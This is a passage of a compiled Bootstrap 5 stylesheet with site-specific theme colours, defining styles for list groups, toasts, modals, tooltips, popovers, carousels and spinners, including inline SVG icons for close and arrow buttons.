var(--bs-list-group-item-padding-x); color: var(--bs-list-group-color); background-color: var(--bs-list-group-bg); border: var(--bs-list-group-border-width) solid var(--bs-list-group-border-color); } .list-group-item:first-child { border-top-left-radius: inherit; border-top-right-radius: inherit; } .list-group-item:last-child { border-bottom-right-radius: inherit; border-bottom-left-radius: inherit; } .list-group-item.disabled, .list-group-item:disabled { color: var(--bs-list-group-disabled-color); pointer-events: none; background-color: var(--bs-list-group-disabled-bg); } .list-group-item.active { z-index: 2; color: var(--bs-list-group-active-color); background-color: var(--bs-list-group-active-bg); border-color: var(--bs-list-group-active-border-color); } .list-group-item + .list-group-item { border-top-width: 0; } .list-group-item + .list-group-item.active { margin-top: calc(-1 * var(--bs-list-group-border-width)); border-top-width: var(--bs-list-group-border-width); } .list-group-horizontal { flex-direction: row; } .list-group-horizontal > .list-group-item:first-child:not(:last-child) { border-bottom-left-radius: var(--bs-list-group-border-radius); border-top-right-radius: 0; } .list-group-horizontal > .list-group-item:last-child:not(:first-child) { border-top-right-radius: var(--bs-list-group-border-radius); border-bottom-left-radius: 0; } .list-group-horizontal > .list-group-item.active { margin-top: 0; } .list-group-horizontal > .list-group-item + .list-group-item { border-top-width: var(--bs-list-group-border-width); border-left-width: 0; } .list-group-horizontal > .list-group-item + .list-group-item.active { margin-left: calc(-1 * var(--bs-list-group-border-width)); border-left-width: var(--bs-list-group-border-width); } @media (min-width: 576px) { .list-group-horizontal-sm { flex-direction: row; } .list-group-horizontal-sm > .list-group-item:first-child:not(:last-child) { border-bottom-left-radius: var(--bs-list-group-border-radius); border-top-right-radius: 0; } .list-group-horizontal-sm > .list-group-item:last-child:not(:first-child) { border-top-right-radius: var(--bs-list-group-border-radius); border-bottom-left-radius: 0; } .list-group-horizontal-sm > .list-group-item.active { margin-top: 0; } .list-group-horizontal-sm > .list-group-item + .list-group-item { border-top-width: var(--bs-list-group-border-width); border-left-width: 0; } .list-group-horizontal-sm > .list-group-item + .list-group-item.active { margin-left: calc(-1 * var(--bs-list-group-border-width)); border-left-width: var(--bs-list-group-border-width); } } @media (min-width: 768px) { .list-group-horizontal-md { flex-direction: row; } .list-group-horizontal-md > .list-group-item:first-child:not(:last-child) { border-bottom-left-radius: var(--bs-list-group-border-radius); border-top-right-radius: 0; } .list-group-horizontal-md > .list-group-item:last-child:not(:first-child) { border-top-right-radius: var(--bs-list-group-border-radius); border-bottom-left-radius: 0; } .list-group-horizontal-md > .list-group-item.active { margin-top: 0; } .list-group-horizontal-md > .list-group-item + .list-group-item { border-top-width: var(--bs-list-group-border-width); border-left-width: 0; } .list-group-horizontal-md > .list-group-item + .list-group-item.active { margin-left: calc(-1 * var(--bs-list-group-border-width)); border-left-width: var(--bs-list-group-border-width); } } @media (min-width: 992px) { .list-group-horizontal-lg { flex-direction: row; } .list-group-horizontal-lg > .list-group-item:first-child:not(:last-child) { border-bottom-left-radius: var(--bs-list-group-border-radius); border-top-right-radius: 0; } .list-group-horizontal-lg > .list-group-item:last-child:not(:first-child) { border-top-right-radius: var(--bs-list-group-border-radius); border-bottom-left-radius: 0; } .list-group-horizontal-lg > .list-group-item.active { margin-top: 0; } .list-group-horizontal-lg > .list-group-item + .list-group-item { border-top-width: var(--bs-list-group-border-width); border-left-width: 0; } .list-group-horizontal-lg > .list-group-item + .list-group-item.active { margin-left: calc(-1 * var(--bs-list-group-border-width)); border-left-width: var(--bs-list-group-border-width); } } @media (min-width: 1200px) { .list-group-horizontal-xl { flex-direction: row; } .list-group-horizontal-xl > .list-group-item:first-child:not(:last-child) { border-bottom-left-radius: var(--bs-list-group-border-radius); border-top-right-radius: 0; } .list-group-horizontal-xl > .list-group-item:last-child:not(:first-child) { border-top-right-radius: var(--bs-list-group-border-radius); border-bottom-left-radius: 0; } .list-group-horizontal-xl > .list-group-item.active { margin-top: 0; } .list-group-horizontal-xl > .list-group-item + .list-group-item { border-top-width: var(--bs-list-group-border-width); border-left-width: 0; } .list-group-horizontal-xl > .list-group-item + .list-group-item.active { margin-left: calc(-1 * var(--bs-list-group-border-width)); border-left-width: var(--bs-list-group-border-width); } } @media (min-width: 1400px) { .list-group-horizontal-xxl { flex-direction: row; } .list-group-horizontal-xxl > .list-group-item:first-child:not(:last-child) { border-bottom-left-radius: var(--bs-list-group-border-radius); border-top-right-radius: 0; } .list-group-horizontal-xxl > .list-group-item:last-child:not(:first-child) { border-top-right-radius: var(--bs-list-group-border-radius); border-bottom-left-radius: 0; } .list-group-horizontal-xxl > .list-group-item.active { margin-top: 0; } .list-group-horizontal-xxl > .list-group-item + .list-group-item { border-top-width: var(--bs-list-group-border-width); border-left-width: 0; } .list-group-horizontal-xxl > .list-group-item + .list-group-item.active { margin-left: calc(-1 * var(--bs-list-group-border-width)); border-left-width: var(--bs-list-group-border-width); } } .list-group-flush { border-radius: 0; } .list-group-flush > .list-group-item { border-width: 0 0 var(--bs-list-group-border-width); } .list-group-flush > .list-group-item:last-child { border-bottom-width: 0; } .list-group-item-primary { color: #31295e; background-color: #dcdaeb; } .list-group-item-primary.list-group-item-action:hover, .list-group-item-primary.list-group-item-action:focus { color: #31295e; background-color: #c6c4d4; } .list-group-item-primary.list-group-item-action.active { color: #ffffff; background-color: #31295e; border-color: #31295e; } .list-group-item-secondary { color: #41464b; background-color: #e2e3e5; } .list-group-item-secondary.list-group-item-action:hover, .list-group-item-secondary.list-group-item-action:focus { color: #41464b; background-color: #cbccce; } .list-group-item-secondary.list-group-item-action.active { color: #ffffff; background-color: #41464b; border-color: #41464b; } .list-group-item-success { color: #438228; background-color: #e2f7d9; } .list-group-item-success.list-group-item-action:hover, .list-group-item-success.list-group-item-action:focus { color: #438228; background-color: #cbdec3; } .list-group-item-success.list-group-item-action.active { color: #ffffff; background-color: #438228; border-color: #438228; } .list-group-item-info { color: #257980; background-color: #d8f4f7; } .list-group-item-info.list-group-item-action:hover, .list-group-item-info.list-group-item-action:focus { color: #257980; background-color: #c2dcde; } .list-group-item-info.list-group-item-action.active { color: #ffffff; background-color: #257980; border-color: #257980; } .list-group-item-warning { color: #996111; background-color: #ffecd2; } .list-group-item-warning.list-group-item-action:hover, .list-group-item-warning.list-group-item-action:focus { color: #996111; background-color: #e6d4bd; } .list-group-item-warning.list-group-item-action.active { color: #ffffff; background-color: #996111; border-color: #996111; } .list-group-item-danger { color: #992342; background-color: #ffd8e2; } .list-group-item-danger.list-group-item-action:hover, .list-group-item-danger.list-group-item-action:focus { color: #992342; background-color: #e6c2cb; } .list-group-item-danger.list-group-item-action.active { color: #ffffff; background-color: #992342; border-color: #992342; } .list-group-item-light { color: #959596; background-color: #fefefe; } .list-group-item-light.list-group-item-action:hover, .list-group-item-light.list-group-item-action:focus { color: #959596; background-color: #e5e5e5; } .list-group-item-light.list-group-item-action.active { color: #ffffff; background-color: #959596; border-color: #959596; } .list-group-item-dark { color: #11151c; background-color: #d2d3d5; } .list-group-item-dark.list-group-item-action:hover, .list-group-item-dark.list-group-item-action:focus { color: #11151c; background-color: #bdbec0; } .list-group-item-dark.list-group-item-action.active { color: #ffffff; background-color: #11151c; border-color: #11151c; } .btn-close { box-sizing: content-box; width: 1em; height: 1em; padding: 0.25em 0.25em; color: #000000; background: transparent url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='%23000000' viewBox='0 0 16 16'%3e%3cpath d='M.293.293a1 1 0 011.414 0L8 6.586 14.293.293a1 1 0 111.414 1.414L9.414 8l6.293 6.293a1 1 0 01-1.414 1.414L8 9.414l-6.293 6.293a1 1 0 01-1.414-1.414L6.586 8 .293 1.707a1 1 0 010-1.414z'/%3e%3c/svg%3e") center/1em auto no-repeat; border: 0; border-radius: 10px; opacity: 0.5; } .btn-close:hover { color: #000000; text-decoration: none; opacity: 0.75; } .btn-close:focus { outline: 0; box-shadow: 0 0 0 0.2rem rgba(81, 69, 157, 0.25); opacity: 1; } .btn-close:disabled, .btn-close.disabled { pointer-events: none; -webkit-user-select: none; -moz-user-select: none; user-select: none; opacity: 0.25; } .btn-close-white { filter: invert(1) grayscale(100%) brightness(200%); } .toast { --bs-toast-zindex: 1090; --bs-toast-padding-x: 0.75rem; --bs-toast-padding-y: 0.25rem; --bs-toast-spacing: 1.5rem; --bs-toast-max-width: 350px; --bs-toast-font-size: 0.875rem; --bs-toast-color: ; --bs-toast-bg: rgba(255, 255, 255, 0.85); --bs-toast-border-width: 1px; --bs-toast-border-color: rgba(0, 0, 0, 0.1); --bs-toast-border-radius: 0.25rem; --bs-toast-box-shadow: 0 0.25rem 0.75rem rgba(0, 0, 0, 0.1); --bs-toast-header-color: #6c757d; --bs-toast-header-bg: rgba(255, 255, 255, 0.85); --bs-toast-header-border-color: rgba(0, 0, 0, 0.05); width: var(--bs-toast-max-width); max-width: 100%; font-size: var(--bs-toast-font-size); color: var(--bs-toast-color); pointer-events: auto; background-color: var(--bs-toast-bg); background-clip: padding-box; border: var(--bs-toast-border-width) solid var(--bs-toast-border-color); box-shadow: var(--bs-toast-box-shadow); border-radius: var(--bs-toast-border-radius); } .toast.showing { opacity: 0; } .toast:not(.show) { display: none; } .toast-container { --bs-toast-zindex: 1090; position: absolute; z-index: var(--bs-toast-zindex); width: -moz-max-content; width: max-content; max-width: 100%; pointer-events: none; } .toast-container > :not(:last-child) { margin-bottom: var(--bs-toast-spacing); } .toast-header { display: flex; align-items: center; padding: var(--bs-toast-padding-y) var(--bs-toast-padding-x); color: var(--bs-toast-header-color); background-color: var(--bs-toast-header-bg); background-clip: padding-box; border-bottom: var(--bs-toast-border-width) solid var(--bs-toast-header-border-color); border-top-left-radius: calc(var(--bs-toast-border-radius) - var(--bs-toast-border-width)); border-top-right-radius: calc(var(--bs-toast-border-radius) - var(--bs-toast-border-width)); } .toast-header .btn-close { margin-right: calc(-.5 * var(--bs-toast-padding-x)); margin-left: var(--bs-toast-padding-x); } .toast-body { padding: var(--bs-toast-padding-x); word-wrap: break-word; } .modal { --bs-modal-zindex: 1055; --bs-modal-width: 500px; --bs-modal-padding: 1.25rem; --bs-modal-margin: 0.5rem; --bs-modal-color: ; --bs-modal-bg: #ffffff; --bs-modal-border-color: rgba(0, 0, 0, 0.2); --bs-modal-border-width: 1px; --bs-modal-border-radius: 15px; --bs-modal-box-shadow: 0 0.25rem 0.5rem rgba(0, 0, 0, 0.5); --bs-modal-inner-border-radius: 14px; --bs-modal-header-padding-x: 1.5625rem; --bs-modal-header-padding-y: 1.25rem; --bs-modal-header-padding: 1.25rem 1.5625rem; --bs-modal-header-border-color: #f1f1f1; --bs-modal-header-border-width: 1px; --bs-modal-title-line-height: 1.5; --bs-modal-footer-gap: 0.5rem; --bs-modal-footer-bg: ; --bs-modal-footer-border-color: #f1f1f1; --bs-modal-footer-border-width: 1px; position: fixed; top: 0; left: 0; z-index: var(--bs-modal-zindex); display: none; width: 100%; height: 100%; overflow-x: hidden; overflow-y: auto; outline: 0; } .modal-dialog { position: relative; width: auto; margin: var(--bs-modal-margin); pointer-events: none; } .modal.fade .modal-dialog { transition: transform 0.3s ease-out; transform: translate(0, -50px); } @media (prefers-reduced-motion: reduce) { .modal.fade .modal-dialog { transition: none; } } .modal.show .modal-dialog { transform: none; } .modal.modal-static .modal-dialog { transform: scale(1.02); } .modal-dialog-scrollable { height: calc(100% - var(--bs-modal-margin) * 2); } .modal-dialog-scrollable .modal-content { max-height: 100%; overflow: hidden; } .modal-dialog-scrollable .modal-body { overflow-y: auto; } .modal-dialog-centered { display: flex; align-items: center; min-height: calc(100% - var(--bs-modal-margin) * 2); } .modal-content { position: relative; display: flex; flex-direction: column; width: 100%; color: var(--bs-modal-color); pointer-events: auto; background-color: var(--bs-modal-bg); background-clip: padding-box; border: var(--bs-modal-border-width) solid var(--bs-modal-border-color); border-radius: var(--bs-modal-border-radius); outline: 0; } .modal-backdrop { --bs-backdrop-zindex: 1050; --bs-backdrop-bg: #000000; --bs-backdrop-opacity: 0.5; position: fixed; top: 0; left: 0; z-index: var(--bs-backdrop-zindex); width: 100vw; height: 100vh; background-color: var(--bs-backdrop-bg); } .modal-backdrop.fade { opacity: 0; } .modal-backdrop.show { opacity: var(--bs-backdrop-opacity); } .modal-header { display: flex; flex-shrink: 0; align-items: center; justify-content: space-between; padding: var(--bs-modal-header-padding); border-bottom: var(--bs-modal-header-border-width) solid var(--bs-modal-header-border-color); border-top-left-radius: var(--bs-modal-inner-border-radius); border-top-right-radius: var(--bs-modal-inner-border-radius); } .modal-header .btn-close { padding: calc(var(--bs-modal-header-padding-y) * .5) calc(var(--bs-modal-header-padding-x) * .5); margin: calc(-.5 * var(--bs-modal-header-padding-y)) calc(-.5 * var(--bs-modal-header-padding-x)) calc(-.5 * var(--bs-modal-header-padding-y)) auto; } .modal-title { margin-bottom: 0; line-height: var(--bs-modal-title-line-height); } .modal-body { position: relative; flex: 1 1 auto; padding: var(--bs-modal-padding); } .modal-footer { display: flex; flex-shrink: 0; flex-wrap: wrap; align-items: center; justify-content: flex-end; padding: calc(var(--bs-modal-padding) - var(--bs-modal-footer-gap) * .5); background-color: var(--bs-modal-footer-bg); border-top: var(--bs-modal-footer-border-width) solid var(--bs-modal-footer-border-color); border-bottom-right-radius: var(--bs-modal-inner-border-radius); border-bottom-left-radius: var(--bs-modal-inner-border-radius); } .modal-footer > * { margin: calc(var(--bs-modal-footer-gap) * .5); } @media (min-width: 576px) { .modal { --bs-modal-margin: 1.75rem; --bs-modal-box-shadow: 0 0.5rem 1rem rgba(0, 0, 0, 0.5); } .modal-dialog { max-width: var(--bs-modal-width); margin-right: auto; margin-left: auto; } .modal-sm { --bs-modal-width: 300px; } } @media (min-width: 992px) { .modal-lg, .modal-xl { --bs-modal-width: 800px; } } @media (min-width: 1200px) { .modal-xl { --bs-modal-width: 1140px; } } .modal-fullscreen { width: 100vw; max-width: none; height: 100%; margin: 0; } .modal-fullscreen .modal-content { height: 100%; border: 0; border-radius: 0; } .modal-fullscreen .modal-header, .modal-fullscreen .modal-footer { border-radius: 0; } .modal-fullscreen .modal-body { overflow-y: auto; } @media (max-width: 575.98px) { .modal-fullscreen-sm-down { width: 100vw; max-width: none; height: 100%; margin: 0; } .modal-fullscreen-sm-down .modal-content { height: 100%; border: 0; border-radius: 0; } .modal-fullscreen-sm-down .modal-header, .modal-fullscreen-sm-down .modal-footer { border-radius: 0; } .modal-fullscreen-sm-down .modal-body { overflow-y: auto; } } @media (max-width: 767.98px) { .modal-fullscreen-md-down { width: 100vw; max-width: none; height: 100%; margin: 0; } .modal-fullscreen-md-down .modal-content { height: 100%; border: 0; border-radius: 0; } .modal-fullscreen-md-down .modal-header, .modal-fullscreen-md-down .modal-footer { border-radius: 0; } .modal-fullscreen-md-down .modal-body { overflow-y: auto; } } @media (max-width: 991.98px) { .modal-fullscreen-lg-down { width: 100vw; max-width: none; height: 100%; margin: 0; } .modal-fullscreen-lg-down .modal-content { height: 100%; border: 0; border-radius: 0; } .modal-fullscreen-lg-down .modal-header, .modal-fullscreen-lg-down .modal-footer { border-radius: 0; } .modal-fullscreen-lg-down .modal-body { overflow-y: auto; } } @media (max-width: 1199.98px) { .modal-fullscreen-xl-down { width: 100vw; max-width: none; height: 100%; margin: 0; } .modal-fullscreen-xl-down .modal-content { height: 100%; border: 0; border-radius: 0; } .modal-fullscreen-xl-down .modal-header, .modal-fullscreen-xl-down .modal-footer { border-radius: 0; } .modal-fullscreen-xl-down .modal-body { overflow-y: auto; } } @media (max-width: 1399.98px) { .modal-fullscreen-xxl-down { width: 100vw; max-width: none; height: 100%; margin: 0; } .modal-fullscreen-xxl-down .modal-content { height: 100%; border: 0; border-radius: 0; } .modal-fullscreen-xxl-down .modal-header, .modal-fullscreen-xxl-down .modal-footer { border-radius: 0; } .modal-fullscreen-xxl-down .modal-body { overflow-y: auto; } } .tooltip { --bs-tooltip-zindex: 1080; --bs-tooltip-max-width: 200px; --bs-tooltip-padding-x: 0.5rem; --bs-tooltip-padding-y: 0.25rem; --bs-tooltip-margin: 0; --bs-tooltip-font-size: 0.76563rem; --bs-tooltip-color: #ffffff; --bs-tooltip-bg: #000000; --bs-tooltip-border-radius: 10px; --bs-tooltip-opacity: 0.9; --bs-tooltip-arrow-width: 0.8rem; --bs-tooltip-arrow-height: 0.4rem; z-index: var(--bs-tooltip-zindex); display: block; padding: var(--bs-tooltip-arrow-height); margin: var(--bs-tooltip-margin); font-family: var(--bs-font-sans-serif); font-style: normal; font-weight: 400; line-height: 1.5; text-align: left; text-align: start; text-decoration: none; text-shadow: none; text-transform: none; letter-spacing: normal; word-break: normal; white-space: normal; word-spacing: normal; line-break: auto; font-size: var(--bs-tooltip-font-size); word-wrap: break-word; opacity: 0; } .tooltip.show { opacity: var(--bs-tooltip-opacity); } .tooltip .tooltip-arrow { display: block; width: var(--bs-tooltip-arrow-width); height: var(--bs-tooltip-arrow-height); } .tooltip .tooltip-arrow::before { position: absolute; content: ""; border-color: transparent; border-style: solid; } .bs-tooltip-top .tooltip-arrow, .bs-tooltip-auto[data-popper-placement^="top"] .tooltip-arrow { bottom: 0; } .bs-tooltip-top .tooltip-arrow::before, .bs-tooltip-auto[data-popper-placement^="top"] .tooltip-arrow::before { top: -1px; border-width: var(--bs-tooltip-arrow-height) calc(var(--bs-tooltip-arrow-width) * .5) 0; border-top-color: var(--bs-tooltip-bg); } /* rtl:begin:ignore */ .bs-tooltip-end .tooltip-arrow, .bs-tooltip-auto[data-popper-placement^="right"] .tooltip-arrow { left: 0; width: var(--bs-tooltip-arrow-height); height: var(--bs-tooltip-arrow-width); } .bs-tooltip-end .tooltip-arrow::before, .bs-tooltip-auto[data-popper-placement^="right"] .tooltip-arrow::before { right: -1px; border-width: calc(var(--bs-tooltip-arrow-width) * .5) var(--bs-tooltip-arrow-height) calc(var(--bs-tooltip-arrow-width) * .5) 0; border-right-color: var(--bs-tooltip-bg); } /* rtl:end:ignore */ .bs-tooltip-bottom .tooltip-arrow, .bs-tooltip-auto[data-popper-placement^="bottom"] .tooltip-arrow { top: 0; } .bs-tooltip-bottom .tooltip-arrow::before, .bs-tooltip-auto[data-popper-placement^="bottom"] .tooltip-arrow::before { bottom: -1px; border-width: 0 calc(var(--bs-tooltip-arrow-width) * .5) var(--bs-tooltip-arrow-height); border-bottom-color: var(--bs-tooltip-bg); } /* rtl:begin:ignore */ .bs-tooltip-start .tooltip-arrow, .bs-tooltip-auto[data-popper-placement^="left"] .tooltip-arrow { right: 0; width: var(--bs-tooltip-arrow-height); height: var(--bs-tooltip-arrow-width); } .bs-tooltip-start .tooltip-arrow::before, .bs-tooltip-auto[data-popper-placement^="left"] .tooltip-arrow::before { left: -1px; border-width: calc(var(--bs-tooltip-arrow-width) * .5) 0 calc(var(--bs-tooltip-arrow-width) * .5) var(--bs-tooltip-arrow-height); border-left-color: var(--bs-tooltip-bg); } /* rtl:end:ignore */ .tooltip-inner { max-width: var(--bs-tooltip-max-width); padding: var(--bs-tooltip-padding-y) var(--bs-tooltip-padding-x); color: var(--bs-tooltip-color); text-align: center; background-color: var(--bs-tooltip-bg); border-radius: var(--bs-tooltip-border-radius); } .popover { --bs-popover-zindex: 1070; --bs-popover-max-width: 276px; --bs-popover-font-size: 0.76563rem; --bs-popover-bg: #ffffff; --bs-popover-border-width: 1px; --bs-popover-border-color: rgba(0, 0, 0, 0.2); --bs-popover-border-radius: 15px; --bs-popover-inner-border-radius: 14px; --bs-popover-box-shadow: 0 0.5rem 1rem rgba(0, 0, 0, 0.15); --bs-popover-header-padding-x: 0.75rem; --bs-popover-header-padding-y: 0.5rem; --bs-popover-header-font-size: 1rem; --bs-popover-header-color: #060606; --bs-popover-header-bg: #f7f7f7; --bs-popover-body-padding-x: 1rem; --bs-popover-body-padding-y: 1rem; --bs-popover-body-color: #293240; --bs-popover-arrow-width: 1rem; --bs-popover-arrow-height: 0.5rem; --bs-popover-arrow-border: var(--bs-popover-border-color); z-index: var(--bs-popover-zindex); display: block; max-width: var(--bs-popover-max-width); font-family: var(--bs-font-sans-serif); font-style: normal; font-weight: 400; line-height: 1.5; text-align: left; text-align: start; text-decoration: none; text-shadow: none; text-transform: none; letter-spacing: normal; word-break: normal; white-space: normal; word-spacing: normal; line-break: auto; font-size: var(--bs-popover-font-size); word-wrap: break-word; background-color: var(--bs-popover-bg); background-clip: padding-box; border: var(--bs-popover-border-width) solid var(--bs-popover-border-color); border-radius: var(--bs-popover-border-radius); } .popover .popover-arrow { display: block; width: var(--bs-popover-arrow-width); height: var(--bs-popover-arrow-height); } .popover .popover-arrow::before, .popover .popover-arrow::after { position: absolute; display: block; content: ""; border-color: transparent; border-style: solid; border-width: 0; } .bs-popover-top > .popover-arrow, .bs-popover-auto[data-popper-placement^="top"] > .popover-arrow { bottom: calc(-1 * (var(--bs-popover-arrow-height)) - var(--bs-popover-border-width)); } .bs-popover-top > .popover-arrow::before, .bs-popover-auto[data-popper-placement^="top"] > .popover-arrow::before, .bs-popover-top > .popover-arrow::after, .bs-popover-auto[data-popper-placement^="top"] > .popover-arrow::after { border-width: var(--bs-popover-arrow-height) calc(var(--bs-popover-arrow-width) * .5) 0; } .bs-popover-top > .popover-arrow::before, .bs-popover-auto[data-popper-placement^="top"] > .popover-arrow::before { bottom: 0; border-top-color: var(--bs-popover-arrow-border); } .bs-popover-top > .popover-arrow::after, .bs-popover-auto[data-popper-placement^="top"] > .popover-arrow::after { bottom: var(--bs-popover-border-width); border-top-color: var(--bs-popover-bg); } /* rtl:begin:ignore */ .bs-popover-end > .popover-arrow, .bs-popover-auto[data-popper-placement^="right"] > .popover-arrow { left: calc(-1 * (var(--bs-popover-arrow-height)) - var(--bs-popover-border-width)); width: var(--bs-popover-arrow-height); height: var(--bs-popover-arrow-width); } .bs-popover-end > .popover-arrow::before, .bs-popover-auto[data-popper-placement^="right"] > .popover-arrow::before, .bs-popover-end > .popover-arrow::after, .bs-popover-auto[data-popper-placement^="right"] > .popover-arrow::after { border-width: calc(var(--bs-popover-arrow-width) * .5) var(--bs-popover-arrow-height) calc(var(--bs-popover-arrow-width) * .5) 0; } .bs-popover-end > .popover-arrow::before, .bs-popover-auto[data-popper-placement^="right"] > .popover-arrow::before { left: 0; border-right-color: var(--bs-popover-arrow-border); } .bs-popover-end > .popover-arrow::after, .bs-popover-auto[data-popper-placement^="right"] > .popover-arrow::after { left: var(--bs-popover-border-width); border-right-color: var(--bs-popover-bg); } /* rtl:end:ignore */ .bs-popover-bottom > .popover-arrow, .bs-popover-auto[data-popper-placement^="bottom"] > .popover-arrow { top: calc(-1 * (var(--bs-popover-arrow-height)) - var(--bs-popover-border-width)); } .bs-popover-bottom > .popover-arrow::before, .bs-popover-auto[data-popper-placement^="bottom"] > .popover-arrow::before, .bs-popover-bottom > .popover-arrow::after, .bs-popover-auto[data-popper-placement^="bottom"] > .popover-arrow::after { border-width: 0 calc(var(--bs-popover-arrow-width) * .5) var(--bs-popover-arrow-height); } .bs-popover-bottom > .popover-arrow::before, .bs-popover-auto[data-popper-placement^="bottom"] > .popover-arrow::before { top: 0; border-bottom-color: var(--bs-popover-arrow-border); } .bs-popover-bottom > .popover-arrow::after, .bs-popover-auto[data-popper-placement^="bottom"] > .popover-arrow::after { top: var(--bs-popover-border-width); border-bottom-color: var(--bs-popover-bg); } .bs-popover-bottom .popover-header::before, .bs-popover-auto[data-popper-placement^="bottom"] .popover-header::before { position: absolute; top: 0; left: 50%; display: block; width: var(--bs-popover-arrow-width); margin-left: calc(-.5 * var(--bs-popover-arrow-width)); content: ""; border-bottom: var(--bs-popover-border-width) solid var(--bs-popover-header-bg); } /* rtl:begin:ignore */ .bs-popover-start > .popover-arrow, .bs-popover-auto[data-popper-placement^="left"] > .popover-arrow { right: calc(-1 * (var(--bs-popover-arrow-height)) - var(--bs-popover-border-width)); width: var(--bs-popover-arrow-height); height: var(--bs-popover-arrow-width); } .bs-popover-start > .popover-arrow::before, .bs-popover-auto[data-popper-placement^="left"] > .popover-arrow::before, .bs-popover-start > .popover-arrow::after, .bs-popover-auto[data-popper-placement^="left"] > .popover-arrow::after { border-width: calc(var(--bs-popover-arrow-width) * .5) 0 calc(var(--bs-popover-arrow-width) * .5) var(--bs-popover-arrow-height); } .bs-popover-start > .popover-arrow::before, .bs-popover-auto[data-popper-placement^="left"] > .popover-arrow::before { right: 0; border-left-color: var(--bs-popover-arrow-border); } .bs-popover-start > .popover-arrow::after, .bs-popover-auto[data-popper-placement^="left"] > .popover-arrow::after { right: var(--bs-popover-border-width); border-left-color: var(--bs-popover-bg); } /* rtl:end:ignore */ .popover-header { padding: var(--bs-popover-header-padding-y) var(--bs-popover-header-padding-x); margin-bottom: 0; font-size: var(--bs-popover-header-font-size); color: var(--bs-popover-header-color); background-color: var(--bs-popover-header-bg); border-bottom: var(--bs-popover-border-width) solid var(--bs-popover-border-color); border-top-left-radius: var(--bs-popover-inner-border-radius); border-top-right-radius: var(--bs-popover-inner-border-radius); } .popover-header:empty { display: none; } .popover-body { padding: var(--bs-popover-body-padding-y) var(--bs-popover-body-padding-x); color: var(--bs-popover-body-color); } .carousel { position: relative; } .carousel.pointer-event { touch-action: pan-y; } .carousel-inner { position: relative; width: 100%; overflow: hidden; } .carousel-inner::after { display: block; clear: both; content: ""; } .carousel-item { position: relative; display: none; float: left; width: 100%; margin-right: -100%; backface-visibility: hidden; transition: transform 0.6s ease-in-out; } @media (prefers-reduced-motion: reduce) { .carousel-item { transition: none; } } .carousel-item.active, .carousel-item-next, .carousel-item-prev { display: block; } .carousel-item-next:not(.carousel-item-start), .active.carousel-item-end { transform: translateX(100%); } .carousel-item-prev:not(.carousel-item-end), .active.carousel-item-start { transform: translateX(-100%); } .carousel-fade .carousel-item { opacity: 0; transition-property: opacity; transform: none; } .carousel-fade .carousel-item.active, .carousel-fade .carousel-item-next.carousel-item-start, .carousel-fade .carousel-item-prev.carousel-item-end { z-index: 1; opacity: 1; } .carousel-fade .active.carousel-item-start, .carousel-fade .active.carousel-item-end { z-index: 0; opacity: 0; transition: opacity 0s 0.6s; } @media (prefers-reduced-motion: reduce) { .carousel-fade .active.carousel-item-start, .carousel-fade .active.carousel-item-end { transition: none; } } .carousel-control-prev, .carousel-control-next { position: absolute; top: 0; bottom: 0; z-index: 1; display: flex; align-items: center; justify-content: center; width: 15%; padding: 0; color: #ffffff; text-align: center; background: none; border: 0; opacity: 0.5; transition: opacity 0.15s ease; } @media (prefers-reduced-motion: reduce) { .carousel-control-prev, .carousel-control-next { transition: none; } } .carousel-control-prev:hover, .carousel-control-prev:focus, .carousel-control-next:hover, .carousel-control-next:focus { color: #ffffff; text-decoration: none; outline: 0; opacity: 0.9; } .carousel-control-prev { left: 0; } .carousel-control-next { right: 0; } .carousel-control-prev-icon, .carousel-control-next-icon { display: inline-block; width: 20px; height: 20px; background-repeat: no-repeat; background-position: 50%; background-size: 100% 100%; } /* rtl:options: { "autoRename": true, "stringMap":[ { "name" : "prev-next", "search" : "prev", "replace" : "next" } ] } */ .carousel-control-prev-icon { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='%23ffffff' viewBox='0 0 8 8'%3e%3cpath d='M5.25 0l-4 4 4 4 1.5-1.5L4.25 4l2.5-2.5L5.25 0z'/%3e%3c/svg%3e"); } .carousel-control-next-icon { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='%23ffffff' viewBox='0 0 8 8'%3e%3cpath d='M2.75 0l-1.5 1.5L3.75 4l-2.5 2.5L2.75 8l4-4-4-4z'/%3e%3c/svg%3e"); } .carousel-indicators { position: absolute; right: 0; bottom: 0; left: 0; z-index: 2; display: flex; justify-content: center; padding: 0; margin-right: 15%; margin-bottom: 1rem; margin-left: 15%; list-style: none; } .carousel-indicators [data-bs-target] { box-sizing: content-box; flex: 0 1 auto; width: 30px; height: 3px; padding: 0; margin-right: 3px; margin-left: 3px; text-indent: -999px; cursor: pointer; background-color: #ffffff; background-clip: padding-box; border: 0; border-top: 10px solid transparent; border-bottom: 10px solid transparent; opacity: 0.5; transition: opacity 0.6s ease; } @media (prefers-reduced-motion: reduce) { .carousel-indicators [data-bs-target] { transition: none; } } .carousel-indicators .active { opacity: 1; } .carousel-caption { position: absolute; right: 15%; bottom: 1.25rem; left: 15%; padding-top: 1.25rem; padding-bottom: 1.25rem; color: #ffffff; text-align: center; } .carousel-dark .carousel-control-prev-icon, .carousel-dark .carousel-control-next-icon { filter: invert(1) grayscale(100); } .carousel-dark .carousel-indicators [data-bs-target] { background-color: #000000; } .carousel-dark .carousel-caption { color: #000000; } .spinner-grow, .spinner-border { display: inline-block; width: var(--bs-spinner-width); height: var(--bs-spinner-height); vertical-align: var(--bs-spinner-vertical-align); border-radius: 50%; animation: var(--bs-spinner-animation-speed) linear infinite var(--bs-spinner-animation-name); } @keyframes spinner-border { to { transform: rotate(360deg) /* rtl:ignore */; } } .spinner-border { --bs-spinner-width: 2rem; --bs-spinner-height: 2rem; --bs-spinner-vertical-align: -0.125em; --bs-spinner-border-width: 0.25em; --bs-spinner-animation-speed: 0.75s; --bs-spinner-animation-name: spinner-border; border: var(--bs-spinner-border-width) solid currentcolor; border-right-color: transparent; } .spinner-border-sm { --bs-spinner-width: 1rem; --bs-spinner-height: 1rem; --bs-spinner-border-width: 0.2em; } @keyframes spinner-grow { 0% { transform: scale(0); } 50% { opacity: 1; transform: none; } } .spinner-grow { --bs-spinner-width: 2rem; --bs-spinner-height: 2rem; --bs-spinner-vertical-align: -0.125em; --bs-spinner-animation-speed: 0.75s; --bs-spinner-animation-name: spinner-grow; background-color: currentcolor; opacity: 0; } .spinner-grow-sm { --bs-spinner-width: 1rem; --bs-spinner-height: 1rem; } @media (prefers-reduced-motion: reduce) { .spinner-border, .spinner-grow { 